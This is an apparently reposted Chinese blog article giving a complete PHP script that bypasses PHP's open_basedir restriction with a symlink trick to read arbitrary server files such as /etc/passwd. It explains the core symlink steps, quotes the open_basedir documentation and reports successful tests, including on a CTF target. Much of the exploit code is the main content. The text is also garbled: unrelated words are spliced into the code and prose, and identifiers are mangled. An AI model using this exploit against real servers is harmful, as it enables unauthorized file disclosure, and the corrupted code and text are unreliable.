首页 > 作文

PHP5全版本绕过open

更新时间:2023-04-06 20:16:18 阅读: 评论:0

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直管理学原理试题没留意,后来yang告诉我的,他测试了好像5.5都可以。

漏洞详情在这里 /d/file/titlepic/cxcurity.com 代码如下:

<阴阳师封印悬赏?php

/*

* by phithon

* from //www.jb51.net

* detail: /d/file/titlepic/cxcurity.com />
*/

header(‘content-type: text/plain’);

error_reporting(-1);

ini_t(‘display_errors’, true);

printf(“open_badir: %s\nphp_version: %s\n”, ini_get(‘open_badir’), phpversion());

printf(“disable_functions: %s\n”, ini_get(‘disable_functions’));

$file = str_replace(‘\\’, ‘/’, ist($_request[‘file’]) ? $_request[‘file’] : ‘/etc/passwd’);

$relat_file = getrelativepath(__file__, $file);

$paths = explode(‘/’, $file);

$name = mt_rand() % 999;

$exp = getrandstr();

mkdir($name);

chdir($name);

for($i = 1 ; $i < count($paths) – 1 ; $i++){

mkdir($paths[$i]);

chdir($paths[$i]);

}

mkdir($paths[$i]);

for ($i -= 1; $i > 0; $i–) {

chdir(‘..’);

}

$paths = exploour的宾格de(‘/’, $relat_file);

$j = 0;

for ($i = 0; $paths[$i] == ‘..’; $i++) {

mkdir($name);

chdir($name);

$j++;

}

for ($i = 0; $i <= $j; $i++) {

chdir(‘..’);

}

$tmp = array_fill(0, $j + 1, $name);

symlink(implode(‘/’, $tmp), ‘tmplink’);

$tmp = array_fill(0, $j, ‘..’);

symlink(‘tmplink/’ recruited. implode(‘/’, $tmp) . $file, $exp);

unlink(‘tmplink’);

mkdir(‘tmplink’);

delfile($name);

$exp = dirname($_rver[‘script_name’]) . “/{$exp}”;

$exp = “http://{$_rver[‘rver_name’]}{$exp}”;

echo “\n—————–content—————\n\n”;

echo file_get_contents($exp);

delfile(‘tmplink’);

function getrelativepath($from, $to) {
// some compatibility fixes for windows paths
$from = rtrim($from, ‘\/’) . ‘/’;
$from = str_replace(‘\\’, ‘/’, $from);
$to = str_replace(‘\\’, ‘/’, $to);

$from = explode(‘/’, $from);
$to = explode(‘/’, $to);
$relpath = $to;

foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relpath);
} el {
// get number of remaining dirs to $from
$remaining = count($from) – $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padlength = (count($relpath) + $remaining – 1) * -1;
$relpath = array_pad($relpath, $padlength, ‘..’);
break;
} el {
$relpath[0] = ‘./’ . $relpath[0];
}
}
}
return implode(‘/’, $relpath);
}

function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}el if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == null) return fal;
while(fal !== ($file = @readdir($mydir)))
{
$name = file_str($deldir.’/’.$file);
if(($file!=’.’) && ($file!=’..’)){delfile($name);}
}
@clodir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : fal;
}
}

function file_str($string)
{
return str_replace(‘//’,’/’,str_replace(‘\\’,’/’,$string));
}

function getrandstr($length = 6) {
$chars = ‘abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789’;
$randstr = ”;
for ($i = 0; $i < $length; $i++) {
$randstr .= substr($chars, mt_rand(0, strlen($chars) – 1), 1);
}
return $randstr;
}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../../../etc/passwd。

其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。

这时候删除x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。

精华就是这四句:

复制代码 代码如下:

symlink(“abc/abc/abc/abc”,”tmplink”);

symlink(“tmplink/../../../etc/passwd”, “exploit”);

unlink(“tmplink”);

mkdir(“tmplink”);

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。

其中并没有任何操作触发open_badir,但达到的 效果就是绕过了open_badir读取任意文件 。

错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

open_badir

将 php 所能打开的文件限制在指定的目录树,包括文件本身。本指令 不受 安全模式打开或者关闭的影响。

当一个脚本试图用例如 fopen() 或者 gzopen() 打开一个文件时,该文件的位置将被检查。当文件在指定的目录树之外时 php 将拒绝打开它。所有的符号连接都会被解析,所以不可能通过符号连接来避开此限制。

特殊值 . 指明脚本的工作目录将被作为基准目录。但这有些危险,因为脚本的工作目录可以轻易被 chdir() 而改变。

在 httpd.conf 文件中中,open_badir 可以像其它任何配置选项一样用“php_admin_value open_badir none”的 方法 关闭(例如某些虚拟主机中)。

在 windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。作为 apache 模块时,父目录中的 open_badir 路径自动被继承。

用 open_badir 指定的限制实际上是前缀,不是目录名。也就是说“open_badir = /dir/incl”也会允许访问“/dir/include”和“/dir/incls”,如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜 线结束路径名。例如:“open_badir = /dir/incl/”。

note:

支持多个目录是 3.0.7 加入的。

默认是允许打开所有文件。

我在我的vps(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

相比于5.3 xml那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,莫言红高粱危害比较大。

前几天成信的ctf,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。

发现没旁站,流量是通过网关转发的。

本文发布于:2023-04-06 20:16:04,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/zuowen/2d9439b802105d9b19c4287e3a5dd4ab.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

本文word下载地址:PHP5全版本绕过open.doc

本文 PDF 下载地址:PHP5全版本绕过open.pdf

标签:文件   目录   代码   脚本
相关文章
留言与评论(共有 0 条评论)
   
验证码:
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图